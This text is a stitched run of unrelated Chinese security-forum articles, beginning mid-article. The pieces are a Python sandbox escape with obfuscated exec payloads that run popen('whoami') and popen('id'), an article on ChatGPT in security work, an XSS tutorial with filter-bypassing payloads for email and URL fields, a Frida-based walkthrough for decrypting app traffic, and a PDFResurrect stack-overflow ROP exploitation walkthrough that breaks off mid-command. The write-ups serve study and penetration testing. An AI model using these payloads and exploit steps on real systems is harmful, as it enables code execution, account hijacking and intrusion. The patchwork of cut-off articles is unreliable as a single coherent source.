思路：我们可以通过引入os.py的手法，tr0y师傅叫做`模拟 import。`也就是 `exec(open(...).read())`，从而引入所需的函数。 使用这个方法，首要目的就是取得绝对路径 __import__("os") #<module 'os’ from '/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/os.py'> str(__import__("os"))[19:-2] #'/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/os.py' 所以实现os.py的引用 `open(str(__import__("os"))[19:-2]).read()` 但是`.`被ban了但是`open` 的返回值是 `_io.TextIOWrapper`，由于存在 `__iter__` 方法，所以我们可以把它当做是一个可迭代对象来迭代。也就是可以通过 `list(open(str(__import__("os"))[19:-2]))` 取出文件内容， 但是这样的源码无法让exec执行，不过我们可以将字符串进行拆分，变成单个字符，转化成ASCII码。然后用`bytes` 转为完整的字符串 ord()就是将字符转化成10进制数 exec(bytes([ord(j)for(i)in(list(open(str(__import__(list(dict(os=1))[0]))[19:-2])))for(j)in(i)])) * 首先分析一下，payload 必须在执行函数之前运行，所以可以通过 `[exec(...)][0][system("whoami")]` 来实现，需要注意的是，`system` 在运行成功的时候才会返回 `0`，一旦失败，返回的数字比较大，命令虽然已执行成功，但是整个 payload 的执行是会失败的，可能会遇到不必要的麻烦。并且，形如 `popen` 这种返回字符串的，也不宜这样利用。 更好的方式是用 `[str][bool(exec...)](list(popen("whoami")))` [str][bool(exec(bytes([ord(j)for(i)in(list(open(str(__import__(list(dict(os=1))[0]))[19:-2])))for(j)in(i)])))](list(popen(list(dict(whoami=1))[0]))[0]) * 当然，上面这个 payload，同样存在特殊字符无法构造的问题，执行 `whoami` 这种单一的命令是 ok 的，如果想要反弹个 shell 就没法搞了。 * 好在思路有了，只需要换一下库就行。`dict` 参数要求是合法的变量名，那么我们很容易想到 base64 里的字符大部分都是 `0-9a-zA-Z` 构成，还有特殊的字符 `=`、`/`、`+`。后面我们会挨个解决这三个字符的问题 [eval][bool(exec(bytes([ord(j)for(i)in(list(open(str(__import__(list(dict(base64=1))[0]))[23:-2])))[:-5]for(j)in(i)])))](b64decode(list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignaWQnKS5yZWFkKCkg=1))[0])) #__import__('os').popen('id').read() `=`、`/`、`+`关于这些，我们可以用无关紧要的字符替换，比如在payload后面加空格之类的 '__import__('os').popen('id').read()' 'X19pbXBvcnRfXygnb3MnKS5wb3BlbignaWQnKS5yZWFkKCk=' '__import__('os').popen('id').read() ' 'X19pbXBvcnRfXygnb3MnKS5wb3BlbignaWQnKS5yZWFkKCkg' ## 参考： [Python 沙箱逃逸的经验总结 - Tr0y's Blog](https://www.tr0y.wang/2019/05/06/Python沙箱逃逸经验总结/#利用反序列化攻击) [Python 沙箱逃逸的通解探索之路 - Tr0y's Blog](https://www.tr0y.wang/2022/09/28/common-exp-of-python-jail/#说在前面)
社区文章
# ChatGPT在信息安全领域的应用前景 ##### 译文声明 本文是翻译文章，文章原作者 创新研究院，文章来源：绿盟科技研究通讯 原文地址：<https://mp.weixin.qq.com/s/-T8IKaqlX89_U9NJzX6UCg> 译文仅供参考，具体内容表达以及含义原文为准。 一. 关于ChatGPT 据报道，GPT-3.5系列模型自2021年四季度就开始混合使用文本和代码进行训练[1]。而在今年11月30日，OpenAI推出了一款新的自然语言对话模型ChatGPT，该模型是对GPT-3.5中一个2022年初完成训练的模型的微调实现[2]。在发布至今的一周时间里，ChatGPT模型便受到全球范围的广泛关注，并获得了普遍正面的评价[3]。ChatGPT不仅能够以非常自然的词句与人类用户交流，还能保持聊天过程的上下文状态。不仅如此，ChatGPT在信息行业中的应用也非常令人惊艳，它可以在短短几秒内按照用户的要求编写简单的代码实现。目前，OpenAI开放了ChatGPT的WEB交互面板https://chat.openai.com/chat，本文案例如无特殊标注均通过该接口运行得到。关于信息安全领域之外的应用，已有大量文章进行探讨，本文不再深入。 二. ChatGPT在安全行业的应用 2.1 安全工具开发 首先，既然ChatGPT能够按照用户的要求编写代码，那自然就可以用来制作安全工具（不论是用于进攻还是防御）。目前已经有人指出通过ChatGPT可以生成实际可用的漏洞利用工具[4]： 图1 通过ChatGPT生成漏洞利用代码我们粗略地测试了一些用例，大部分情况下都能得到质量上乘的结果。但可能由于测试方法尚不完善，也可能是安全领域的训练样本相对较少，ChatGPT的发挥似乎并不是非常稳定： 图2 非常不错的功能实现 图3 虽然有待优化，但姑且实现了功能 图4 看上去有模有样，但并没有正确实现功能结果看来，ChatGPT确实能够帮助用户完成相当一部分的代码编写工作，而且代码注释、变量命名等都非常完善。但由于输出质量的不稳定性，这种方法仍然对用户自身的技术水平有一定的要求，至少需要能够验证AI模型输出的代码是否正确。只要运用得当，ChatGPT将会大大提高安全工具的开发效率，但要想完全依赖该模型完成复杂系统的实现，目前看来还有一段距离。 2.2 逆向分析 ChatGPT还在逆向分析领域大放异彩。例如，可以用它来分析机器语言ShellCode的功能： 图5 ChatGPT解析ShellCode。图片扩散广泛而原始出处不详，有知情者还请留言告知甚至还有人为知名逆向分析工具IDA制作了一个插件，可以通过OpenAI的API（davinci-003，为GPT-3.5系列中的一个[1]）为反编译代码生成注释描述和修复变量名[5]： 图6 IDA插件Gepetto我们也进行了一些相关测试，要求ChatGPT对给定的反编译代码进行解释： 图7 CobaltStrike Beacon中的一个函数，效果还可以 图8 GMiner中的一个函数，效果一般 图9 来自一个加有VMP壳的恶意样本，效果不太好从测试情况看来，如果代码中包含有对标准库或API函数（如上面的LoadLibraryW等）的显式调用，ChatGPT就能够从更抽象的、注重目的而非实现的角度去解释。但除此之外的情况，往往就只会按代码字面意思进行翻译：数据从哪里拷贝到哪里、做了什么加减乘除比较操作等，诸如此类。此外，由于ChatGPT目前开放的接口有输入长度的限制，每次只能输入少量代码，这导致现阶段实际使用起来还是不太方便。 2.3 安全检查和漏洞挖掘 目前已有很多利用ChatGPT在现有代码中寻找潜在BUG或漏洞的成功案例。对此我们也进行了一些尝试： 图10 DVWA靶场中SQL注入漏洞页面high.php，ChatGPT正确识别并修复了漏洞 图11 但ChatGPT给出的漏洞验证脚本明显是不正确的 图12 DVWA靶场中命令注入漏洞页面high.php，ChatGPT正确识别了漏洞 图13 给出的测试代码虽然逻辑正确，但受页面中的过滤机制影响，实际上不可用 图14 ChatGPT确实理解了页面中的过滤机制，但始终无法给出有效的绕过方法目前看来，ChatGPT确实在一定程度上具备发现漏洞的能力，但还是不太擅长处理较为复杂的漏洞结构。如果要与代码审计等常规方法比较，ChatGPT的准确性和有效性尚需观察。除此之外，受“content policy”影响，通过ChatGPT生成漏洞利用代码时也会受到一些限制。但ChatGPT的一个优势是能够给出完整且定制化的修复方案。相比传统漏洞扫描或自动化SAST等给出的模板化修复方案而言，ChatGPT对于企业安全运营来说无疑是更具有吸引力的。 2.4 安全告警评估 告警评估是安全运营过程中费时费力的一环，各个企业SOC至今为止已经采取了各种方法尝试进行告警筛选。ChatGPT能否用于安全告警评估呢？ 图15 Jenkins RCE漏洞利用载荷，ChatGPT给出了非常准确的结论看上去好像还不错？我们再试试正常业务误报告警载荷： 图16 一个正常业务误报告警载荷，ChatGPT也给出了正确的识别结论目前开放的查询接口似乎存在一些限制，查询提交经常失败（可能与包含恶意代码有关）。虽然API具备内置的Base64解码功能，但似乎表现得不太稳定： 图17 蚁剑WebShell列出目录操作，提交完整请求或请求体都未能正确处理 图18 但如果单独提交表单参数值，就能得到相对正确的识别结论菜刀WebShell的情况和蚁剑差不多： 图19 PHP中国菜刀通信，提交完整请求不能判断 图20 但提交请求体就可以判断了我们再追加一些测试用例： 图21 ThinkPHP RCE漏洞攻击（可能来自某种蠕虫），直接提交完整请求报文即可 图22 Java反序列化RCE漏洞利用载荷片段，未能正确判断 图23 GoAhread RCE漏洞利用载荷，未能正确判断结果看来，ChatGPT在很多情况下确实作出了准确的判断和良好的解释，尤其是对于包含明显操作系统命令、编程语言函数和关键字的情况，几乎都能正确识别，且受混淆措施干扰较小。但它的效果很不稳定，对输入数据格式要求反复无常，解释信息也时好时坏。对于非文本类的载荷（比如序列化数据、ELF片段等），ChatGPT的识别能力似乎也未达预期。此外，非常致命的一点是，ChatGPT运行起来实在太慢了，根本不可能应对企业SOC庞大的告警数量和实时处理需求。综上，仅针对告警评估任务，现阶段还不适合直接投入使用。但ChatGPT在告警评估场景中是没有价值的吗？显然不是。长久以来，我们一直苦于无法有效地从告警载荷中提取关键信息——这是人类专家判断告警性质时最关注的因素之一。此前的难点在于，我们很难从告警数据中提取出足以适应现代信息系统复杂程度的，关于操作系统、编程语言、应用组件的知识。一段恶意代码如果成功执行会导致怎样的后果，此前所使用的模型根本不得而知，而这对于准确判断一个告警所指示网络行为的危害程度而言是不可或缺的。以笔者浅见，ChatGPT通过在代码项目和自然语言上进行训练，确实提炼出了这些目前告警评估任务中最缺失的知识。虽然当前这种文本到文本的聊天机器人模式未能充分满足告警评估的需要，但这种预训练方法和模型如果用于告警评估中的分类任务，想必能够成为非常强大的输入特征或系统单元。 三. 后记和展望 除了上面提到的几种应用之外，目前我们也正在尝试将ChatGPT用于二进制漏洞挖掘、渗透测试用例生成、项目交付报告编写等诸多细分领域。风云变幻莫能测，且看今朝谁英雄。这份来自NLP学科的大礼包，也许能够给安全行业的发展带来一股新风。更多前沿资讯，还请继续关注绿盟科技研究通讯。如果您发现文中描述有不当之处，还请留言指出。在此致以真诚的感谢~ 参考文献 [1] OpenAI. Model index for researchers[J/OL] 2022, https://beta.openai.com/docs/model-index-for-researchers. [2] OpenAI. ChatGPT: Optimizing Language Models for Dialogue[J/OL] 2022, https://openai.com/blog/chatgpt/. [3] OpenAI. ChatGPT[J/OL] 2022, https://en.wikipedia.org/wiki/ChatGPT. [4] dyngnosis.无标题[J/OL] 2022, https://twitter.com/dyngnosis/status/1598750927447502848 [5] Ivan K. Gepetto[J/OL] 2022, https://github.com/JusticeRage/Gepetto.
社区文章
原文地址:<https://brutelogic.com.br/blog/xss-limited-input-formats/> 我们一般测试XSS漏洞通常是没有任何字符限制，但有时XSS入口点的操作是有限的，我们接下来将看到一些受限情况下的 XSS 利用技巧 **电子邮件** 电子邮件地址在表单中广泛使用，并在web应用程序的不同部分多次显示。为了演示我们如何简单地调整我们的XSS，各位可以到这进行[测试](https://brutelogic.com.br/tests/[email protected])。 所有不是电子邮件格式的输入都会被应用程序返回“INVALID”响应 我们猜测PHP的filter_var(或filter_input)函数的FILTER_VALIDATE_EMAIL标志只执行验证，没有真正的清理,试试传递`@x.y`进行验证，但事实并非如此。 根据[RFC822](http://sphinx.mythic-beasts.com/~pdw/cgi-bin/emailvalidate)，要想绕过验证机制并实现XSS的解决方案就是使用一个简单且完全有效的电子邮件地址。 最终payload： "<svg/onload=alert(1)>"@x.y **URL（无查询）** URL格式的输入有时会以HTML元素的“href”（超文本引用）结尾，就像我们[在这里](https://brutelogic.com.br/tests/input-formats.php?url1=https://google.com)看到的那样。在我们的示例中，如果我们点击“click me”，该页面会将访问者发送到Google搜索网站。 同样没有处理，只是使用PHP的filter_var或filter_input函数的FILTER_VALIDATE_URL标志带来的验证。通过“protocol://reference”格式，可以很快发现我们可以使用JavaScript伪协议而不是HTTP协议 因为在JavaScript伪协议中，我们在“:”后面使用JS代码，双斜杠使payload无效，因为它们将整个行转换为注释。有一种解决方案，我们使用一个新的行字符(%0A)，但是是双编码的，因为它需要在浏览器重定向中结束，而一个编码的新行只反映在页面的源代码中。 所以我们的最终payload是： javascript://%250Aalert(1) **3\. URL（带查询）** 前一种情况的变体，我们还需要在URL中附加查询。你可以[在这里查看](https://brutelogic.com.br/tests/input-formats.php?url2=https://google.com/search?q=Brute%252BXSS)。 一个简单的“？1”就足以传递过滤器，但它不会创建有效的JS语法。 `javascript://%250Aalert(1)//?1` 我们也可以使用[三元运算符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator)： `javascript://%250A1?alert(1):0` 可能存在与所提供的URL进行验证。这也很容易绕过以下形式，我们的最终paylaod： javascript://https://domain.com/%250A1?alert(1):0 **Key** 最麻烦的测试就是具有固定长度字符的格式。这种输入的最好例子是密钥输入，就像API一样。因为必须考虑严格的限制因素进行测试，所以很容易被自动化工具和人工检查所遗漏。 正如我们所看到的，任何与示例键长度不同的输入都将返回为无效。我们只需要使用一些额外的伪字符来完成MD5哈希的32个字符长度并触发弹出窗口。 最终payload： 12345678901<svg onload=alert(1)>
社区文章
# 记一次App通信协议快速加解密 ## 前言 安装完app，注册的时候，抓包发现有加密，共有三处，一处的是Code的签名值，一处是Post的请求加密，一处是返回包的签名 如下： ## 分析 App的包名是com.xxxxxx.xxxxxnning。 一般情况下 Android开发，都会将所有的类都写在包名下面， 因此我们可以尝试直接hook该包名下的所有类，通过类下所有方法的参数值以及返回值来定位加解密方法。 这里我们使用[HTTPDecrypt](https://github.com/lyxhh/lxhToolHTTPDecrypt)的Hooks模块，直接Hook. 在Hooks模块填写包名，然后点击Confirm。 如下： 当hook class enum done… 日志打印之后，[HTTPDecrypt](https://github.com/lyxhh/lxhToolHTTPDecrypt)就已经帮我们hook了包名下面的所有方法。 接下来我们操作app，在app上输入相应信息，点击注册，这里我们根据抓包的内容在HTTPDecrypt里面查找，看下是否触发了加密函数。 结果如下： com.xxxxx.encrypt 这个方法可能就是我们要找的解密函数， 而 com.xxxxx.EncoderByMd5这个方法可能Code签名的算法，其中前面一部分是固定的key，后面一部分是数据包中的时间戳，然后经过该方法加密之后得到Code的值。 同理我们找到返回数据包的解密函数 在Hooks模块，我们看到了com.xxxxx.encrypt有两个参数，一个是对象，一个是字符串， 接着我们需要知道对象参数的对象具体是哪个类型的。 因此，接下来我们要在Finds模块中将com.xxxxx.encrypt 中的com.xxxxx的所有方法打印出来，查看具体的参数值，以及方法的类型（静态方法 or 实例方法） 在Finds模块填写com.xxxxx.encrypt的类名字，也就是com.xxxxx，然后点击Confirm。 如下， 根据[HTTPDecrypt](https://github.com/lyxhh/lxhToolHTTPDecrypt)打印出来的信息，我们可以看到对象类型是 Android的android.content.Context，方法的类型是static的。 ## 验证 接下来在encrypt下右键发送到toBurp模块， 然后点击Confirm按钮 之后再点击Add按钮，将方法的信息添加到左边的info里面去，因为加解密方法有两个参数，无法使用HTTPDecrypt自动的生成的脚本（自动生成的脚本只能适应一个参数），所以 我们需要自己写一些代码，接下来我们点击Generate export static script按钮。（因为方法类型是静态的所以选择static按钮，动态的选择instance，如果你很熟悉frida，点哪个都无所谓。） HTTPDecrypt会将一些代码生成在Custom选项卡中，如下： 从类名中 其实就可以看出通信协议使用的是AES的算法。 参数arg0是burp中传递过来的加密字符串， 我们需要构造一个arg1，也就是Android的Context对象。 这里使用`Java.use('android.app.ActivityThread').currentApplication().getApplicationContext();` 获取Context对象，然后更改encrypt参数的顺序，第一个是context，第二个是要加密的原文，也就是burp传递进来的参数。 如下： 解密方法decrypt同理构造，最终如下: 如果大家觉得编写框太小了 影响到你 编写代码姿势的帅气，请点击编写框，然后按键盘上的F11,瞬间变大屏幕，恢复帅气，从点击F11开始。 然后点击loadScript,配置好Burp插件。 就可以远程调用方法进行加解密了。 HTTPDecrypt 自带的burp插件支持整个body的自动加解密，点击Body Auto即可开启，如下： 如果不是整个body加密的化怎么办呢？不用慌，HTTPDecrypt提供了对外的接口，可以让你编写特定格式的自动化加解密插件，省去了你还原算法的时间。 还有个Code，算法已经在上面了就不再说了，如果Code不正确，服务端会返回`{"code":90000,"message":"Code不正确！","success":false}` 然后就可以进行 肾透测试了。 ## 流程图 整个加解密的流程，如下： ## 总结 通过hook包名的方式快速定位加解密点，然后通过HTTPDecrypt 导出App内的方法，进行加解密，节省了分析算法，实现算法,编写插件等一系列时间，实现"真"快速，然后一顿操作，0高0中0低。 ## 参考资料 <https://github.com/lyxhh/lxhToolHTTPDecrypt>
社区文章
# 针对自私挖矿的重新审查（下） ##### 译文声明 本文是翻译文章，文章原作者 Kevin Alarcon Negy, Peter Rizun， Emin Gun Sirer，文章来源：fc20.ifca.ai 原文地址：<https://fc20.ifca.ai/preproceedings/4.pdf> 译文仅供参考，具体内容表达以及含义原文为准。 本文将在流行的加密货币中使用的几种困难调整算法（DAA）下自私挖矿的盈利能力进行研究。提出一个流行的难度调整算法分类，量化了算法选择对哈希波动的影响，并展示了不同的DAA家族对自私挖矿的抵抗力。 上一篇文章引入了间歇性自私挖矿，并研究了几种在进行自私挖矿时的难度调整算法。通过间歇性的自私挖矿，表明在比特币DAA下进行自私挖矿就可以获利，而无需将攻击扩展到难度调整之上。 ## 0x01 Difficulty Adjustment Algorithms 现在将分析重点放在难度调整算法（DAA）上。鉴于现在存在具有不同协议的各种PoW代币，有必要分析几种当前的DAA及其对自私挖矿的影响。 难度调整算法的主要目的是设置一个困难，使块在规则的目标时间间隔内被挖掘。响应式DAA允许加密货币快速调整难度，以防止与目标速率相比过高或过低的水平开采区块。 另一方面，过于敏感的反应将使大型矿工在受益时只要进出矿场就可以轻松地控制难度。在本节中，对诚实的矿工和自私的矿工进行各种DAA的分类，并评估它们对算力增加的响应。 ### A.DAA分类 现有的DAA方法可以分为三类： #### 1）基于时间段： 基于周期的DAA是一种算法，其中仅在通常固定周期的末尾调整难度。周期定义为在主链上生成w个块所花费的时间。周期宽度w可以选择为足够大以最小化极端困难的波动，但必须足够小以适应主要的哈希率变化。 上图a显示了w = 3的基于周期的DAA。在挖出块F之后，该周期结束，并且根据块D-F的块时间重新计算难度。然后为块G到I的下一个周期设置难度。 对DAA的评估使用比特币作为基于周期的加密货币。比特币DAA的目标是每块平均开采时间为十分。在主链上开采2016个区块后，大约需要两周时间，调整难度以接近目标区块时间。 #### 2）逐步扩大： 逐步扩大的DAA会根据新的块在块定时界限之外的距离来增加/减少难度。与比特币相反，在比特币中可以使用一定比例来计算新的难度，而逐步扩大的难度则将当前难度增加/减小了一部分。该DAA限制了加密货币对哈希率变化的响应能力。 上图b显示了逐步扩大DAA的示例。为了挖掘块G，DAA仅查看自生成父块F以来的经过时间，然后根据经过时间与目标块时间的接近程度来从父难度中增加或减去。 从拜占庭开始，以太坊（ETH）使用逐步扩大的DAA，该DAA在每个新区块处进行调整。通过测量当前时间戳与其父时间戳之间的时间差，然后根据该时差是否在9-17秒的期望范围之外来增加或递减父难度，可以计算出每个新的块难度。如结果所示，与使用比例计算并可以在一个区块内完全调整难度的DAA相比，网络中哈希率的突然加倍将导致难度变化缓慢。 #### 3）滑动窗口： 滑动窗口DAA类似于基于周期的DAA，但它的重新计算困难发生在每个新块上。为了计算当前难度，使用了由祖先块组成的宽度为w的块窗口。根据与预期时间相比，在块窗口中生成块所花费的时间来计算新的难度。 上图c显示了w = 5的滑动窗口DAA。要挖掘块G，DAA将其窗口滑动到块B-F上，并根据与目标值相比在窗口内生成块所花费的时间来重新计算难度。开采G后，它将包含在下一个窗口中。 使用滑动窗口DAA的加密货币是比特币现金（BCH），比特币SV（BSV）和门罗币（XMR）。假设BSV从BCH分支出来，它们都共享相同的DAA，在本文中，将它们统称为BCH / BSV。 BCH / BSV的目标是每块10分钟，而Monero的目标是每块2分钟。 BCH / BSV和XMR的滑动窗口宽度分别约为144和600块。为了避免基于时间戳的攻击，BCH / BSV根据时间戳选择三个最新块的中值以及当前块之后的144-146个块的中值，分别用作窗口的开始和结束 。另一方面，XMR排序最后的745个块，排除最近的15个块，然后省略外部的120个块（即60个最近的块和60个最旧的块），并在其窗口中保留600个块。 ### B.DAA评估 ’要评估这些难度调整算法，将检查通过租用无关的算力而发动的攻击，并提出以下问题： （1）如果向网络引入大量算力，DAA在调整难度方面的效果如何？ （2）新矿工在进入新的加密货币后可以按大获胜率获利多少？ 首先分析了新的诚实矿工进入系统后，比特币，ETH，BCH / BSV和Monero的各种DAA如何改变难度。还评估了新矿工在利用旧困难的同时的成功率。 其次，比较了一个新的自私矿工在不同DAA方案下的盈利能力。和以前一样，每个实验都模拟每个区块链（不包括孤立块）上的8086块的生成。 因此，模拟从具有给定哈希能力的网络开始，然后添加属于对手的其他挖掘能力。例如，要介绍一个具有30％哈希率的矿工，给矿工足够的哈希能力S，使得S /（S + H）= 0.3，其中H是网络中的初始哈希能力。 忽略了矿工的时间戳操纵攻击（timestamp manipulation attack），因为它们是一个正交的问题，对其的全面处理不在本文的讨论范围之内。因此，在选择中位数BCH / BSV外部块时，中间的块始终是外部块，因为三个块都保证在时间戳序列中。这些系统的最新数据表明，新块中的时间戳与全局时间相匹配，不到几秒钟。 模拟还考虑了比特币和BCH / BSV的难度限制。如果在难度调整中使用的方块开采得太慢或太快，难度将仅调整至难度钳位设置的极限。比特币的目标时间限制为4倍或0.25倍，而BCH / BSV的困难范围为2倍和0.5倍。低于50％哈希能力的自私矿工将不受这些限制的影响。 ## 0x02 Result 首先检查如上图所示，如果一个新的诚实矿工进入网络，困难度如何调整。除了ETH，周期/窗口宽度是调整期间最重要的决定因素。此宽度是将算力添加到网络时完全调整难度并达到平衡所需的块数。因此，BSV和BCH具有144个块窗口，是调整最快的。 门罗（Monero）在675个块上花费的时间更长，这来自600个块窗口的宽度和从滑动窗口中省略的75个最新块。最后，比特币在2016年的三个时间中占最长的时间。ETH的不同之处在于，其DAA中没有宽度的概念。由于它是增量的，因此难度大约需要10,000个块才能稳定。 当新的SM进入网络时，将省略显示难度图，因为对于所分析的任何方案，难度都不会太大调整。一个新的自私的矿工花费时间尝试在网络中创建分支，而不是使用其算力来帮助延长最长的链。因此，DAA将不会在这种情况下进行调整，因为尽管网络中具有额外的算力，但链的增长速度将与以前大致相同。 接下来，在上图中分析了一个新的诚实矿工的累积块获胜率。关键要点是，一旦进入一种加密货币，功能强大的新矿工就可以利用最初的低难度来比正常情况更快地挖矿。值得注意的是，一个新的矿工可以在比特币的初期利用大约两周的时间。该49％的矿工在进入后的整个持续时间内每分钟赢得0.1个方块。一旦难度调整，胜率就会逐渐下降。 另一方面，ETH，BCH / BSV和Monero会调整轧制难度并几乎立即降低矿工获胜率。这些图表明，矿工在快速转换货币和从每种货币的低难度获利之间交替是有好处的，只是放弃一枚代币以使其难度恢复到盈利水平。 如果系统中的新矿工是自私的矿工，现在评估相同的度量。上图显示了一个新的自私矿工的相应块获胜率。在这四种代币中，α= 49％的新SM每分钟获得的区块数量大约是诚实挖矿时的两倍。这些图证实了一个事实，即一个新的SM孤块足以阻止链增长速度，因此难度几乎没有变化。因此，通过分析DAA，在进行自私采矿时，DAA的选择是无关紧要的。 上图中的下一张图显示了模拟结束时的获胜率。不出所料，较高的γ导致较高的获胜率。它还降低了达到收支平衡所需的哈希能力阈值。 γ= 1允许具有任何散列能力的新的自私的矿工输入任何代币，并且至少可以进行其采用诚实采矿的预期成果。一个更合理的低γ率将需要约33％的全球哈希率才能达到收支平衡。 如上图所示，假设SM初始隐藏了3个块（S1，S2和S3）。然后，诚实矿工（HM）将时间花在原始父块上，并使用块H1创建自己的链。 SM发布块S1以与H1竞争。在γ= 0时，HM会在认为自己是可赢的链时尝试在自己的H1区块上进行开采。假设SM在其私密链中开采第四个区块S4，然后HM在其自己的区块H2中开采，并且两个区块都交替一些。 当开采区块Hn时，HM有一个选择：在γ= 0时，它选择在自己的区块Hnn 1开采；在γ= 1时，它选择在自私区块Snn 1上进行挖掘。此选择对难度有重大影响。由于Snn 1的开采早于Hnn 1的开采，因此在Snn 1上开采的难度应大于在Hnn 1上开采的难度。因此，选择在自私的区块上开采与选择在较困难的链上开采相同。 如果n大约为数百，那么当α接近50％时，诚实链的难度可能会比自私链的难度低得多。由于HM不可避免地会丢失，因此确定要开采的链的决定会阻止HM强制SM释放所有私有块的速度。在γ= 0时，诚实的矿工可以利用较低的难度更快地赶上SM。但是，当γ= 1时，诚实的矿工选择在较困难的链上进行开采，并且会较慢地追上自私矿工。从长远来看，诚实的矿工选择难度更大的链意味着更多的诚实块被孤立，并且SM能够将其获胜链延长比γ= 0时更长。因此，自私的块获胜率及其在中获利的比例对于高哈希率，γ= 0显着小于γ= 1。 在图中看到的γ= 0和1之间的间隙将或多或少地取决于两个链在合并前到达的长度n和DAA块的宽度w。在实验中观察到n约为数百。如果n<w，则两条链之间的难度差异将不会像区块宽度为2016的比特币那样大。另一方面，BCH / BSV的块宽度为144。当n的值约为数百时，它将极大地影响BCH / BSV的难度。 最后，门罗币的间隙大于比特币，但小于BCH / BSV，因为其大约675的块宽度落在其他两个宽度的中间。尽管ETH应该有最大的差距，但由于它仅关注父级的困难，因此它没有表现出这种差距，因为它的增量性质导致逐渐难以调整。 最后显示了自私的矿工相对于诚实的矿工所赚取的比例。对于BTC，BCH / BSV和XMR，结果类似于原始的自私挖矿结果，但上面提到了BSV的γ间隙。另一方面，ETH显示，具有任何哈希率和任何γ值的新的自私矿工至少可以实现收支平衡。这一发现完全归因于ETH中存在的叔叔奖励机制，附录A中对此进行了更详细的描述。 ## 0x03 Related Work 本节涵盖了两个研究领域：难度调整算法和异常挖掘行为。在下面讨论相关工作。 难度调整算法DAA的先前工作重点是哈希能力和难度之间的关系。在哈希率呈指数增长的情况下分析了比特币DAA，发现它导致的平均块时间比预期的要短。 比较了几个DAA得出的结论是，面对算力的波动，比特币的DAA无法稳定区块时间。 最近的一些研究已经探讨了利用DAA来增加利润。智能挖矿与间歇性自私挖矿相似，因为它也采用了交替策略。每次进行难度调整时，它都会在诚实挖掘和保持空闲之间切换。本文的攻击者会发挥其全部的算力，并且会积极尝试通过自私挖矿来损害其他矿工的利润。 异常的采矿行为自引入以来，自私挖矿研究人员研究了各种环境和策略修改，以了解其盈利能力如何受到影响。对自私采矿的小修改会导致更高的利润，具体取决于α和γ比率。 自私的挖矿策略是在区块链中创建分叉的几种攻击之一。所谓的巨额鲸鱼交易（whale transaction）被用来说服矿工将网络分叉。 扣块后分叉攻击（fork-after-withholding attack）即矿池参与者仅尝试分叉竞争池中矿工的区块。 ## 0x04 Conclution 本文研究了围绕自私挖矿的争议，并评估了其在一系列流行的加密货币中的应用。具体来说，它引入了间歇性自私挖矿，并研究了几种在进行自私挖掘时的难度调整算法。通 过间歇性的自私挖矿，本文表明，在比特币DAA下进行自私挖矿可以使获利而无需将攻击扩展到难度调整之上。针对BTC、ETH、BCH、BSV和XMR中存在的各种DA，这项工作量化了自私挖矿是一种可行的策略。 自私挖矿是一种博弈论攻击的实例，它利用了分布式系统中的信息不对称性。这种攻击往往是微妙、意外的，有时甚至违反直觉。 告诫外行人不要接受表面上的民间理论。
社区文章
#### 起因 exploit-db中一篇关于PDFResurrect的溢出引起了我的注意: > PDFResurrect 0.15 has a buffer overflow via a crafted PDF file because data > associated with startxref and %%EOF is mishandled.(<https://www.exploit-> db.com/exploits/47178>) 该软件在解析pdf的时候对于startxref错误的控制导致了栈溢出(CVE-2019-14267). 既然都栈溢出了,理论上我们是可以在pdf中写入构造好的payload,实现getshell的,然而在type一栏中作者确只写了DoS,pyaload样本也只是一个导致DoS的crash样本.那么我们来试一下在pdf中写入payload #### 下载和编译 安装的过程比较简单,`./configure`之后,修改MakeFile中的CFLAGS如下 CFLAGS = -O0 -g -Wall -fno-stack-protector $(EXTRA_CFLAGS) `-O0`关掉优化方便gdb调试,而单一的stack overflow,让我们`-fno-stack-protector` make之后查看下保护状态 #### 开始尝试 根据漏洞的类型和文件的保护措施,第一想到的就是使用ROP绕过NX,从而实现getshell.然而在pdfresurrect不存在system()这种功能,在里面找rop链是基本没戏了,只能从动态链接库中找找看 所以是时候祭出我们的神器了,one_gadget:一键查找可用的rop链 <https://github.com/david942j/one_gadget> 找到了4条rop链,具体用哪条,到最后的一步再看. ##### offset的计算 根据作者提供的信息,溢出出现的位置如下 ... ... char x, *c, buf[256]; ... ... for (i=0; i<pdf->n_xrefs; i++) { /* Seek to %%EOF */ if ((pos = get_next_eof(fp)) < 0) break; /* Set and increment the version */ pdf->xrefs[i].version = ver++; /* Rewind until we find end of "startxref" */ pos_count = 0; while (SAFE_F(fp, ((x = fgetc(fp)) != 'f'))) <== The loop will continue incrementing pos_count until find a 'f' char fseek(fp, pos - (++pos_count), SEEK_SET); /* Suck in end of "startxref" to start of %%EOF */ memset(buf, 0, sizeof(buf)); SAFE_E(fread(buf, 1, pos_count, fp), pos_count, <== If pos_count > 256 then a buffer overflow occur "Failed to read startxref.\n"); c = buf; while (*c == ' ' || *c == '\n' || *c == '\r') ++c; /* xref start position */ pdf->xrefs[i].start = atol(c); ... ... 我们在pdf.c:237处打一个断点,并分别查找buf和rbp的位置,从而计算payload需要的偏移 如图所示,buf位置`0x7fffffffe460`,rbp位置`0x7fffffffe5a0`,所以我们的offset为 offset=0x5a0-0x460 = 320 我们使用notepad打开pdf,添加在`xref`和`%%EOF`中添加offset如下 然后我们使用gdb调试,运行完fread函数之后栈空间情况如下 正如我们所愿,刚好覆盖到rbp前一个位置 ##### 遇见第一个坑 继续往下走,在`0x40217b`出现了问题,指令对比`rdx`与`rax`,若不等,程序退出,幸好我们的rax可控,此处修改至相等即可绕过. ##### 遇见第二个坑 运行到`0x4021db`出现了第二个问题 stack上的覆盖影响到了`pdf->xrefs[i]`中i的值,出现了报错,导致程序crash,仔细查看i的值,发现同样可控,在没有仔细研究源码的情况下,同样的无脑修改使其绕过. ##### 风雨之后并没有见彩虹 绕过了前两个,迎来了第三个 此处是一个正常退出,这就需要研究一下源码 程序退出的位置在is_valid_xref函数的587行,巨大的`xref->start`使文件指针指向了一个非常靠后的位置,结果可想而知,文件内容读取失败. 而奇怪的`0x2bdc528094fb87`数值让人摸不到头脑,貌似是一个不可控的数值,从哪里来的不知道.就在我准备放弃的时候,条件反射查了一下数值 damn!又是可控!只好继续无脑修改 ##### 黎明的曙光就在眼前 通过proc查看libc基地址然后计算出rop实际地址 终于见到了大boss,即将ret到rop地址 可现实却给了我当头一棒 没有one_gadget符合的条件!what else can I do? ##### 没有条件创造条件 没有符合的条件,只好硬着头皮查找其他gadget ROPgadget --binary 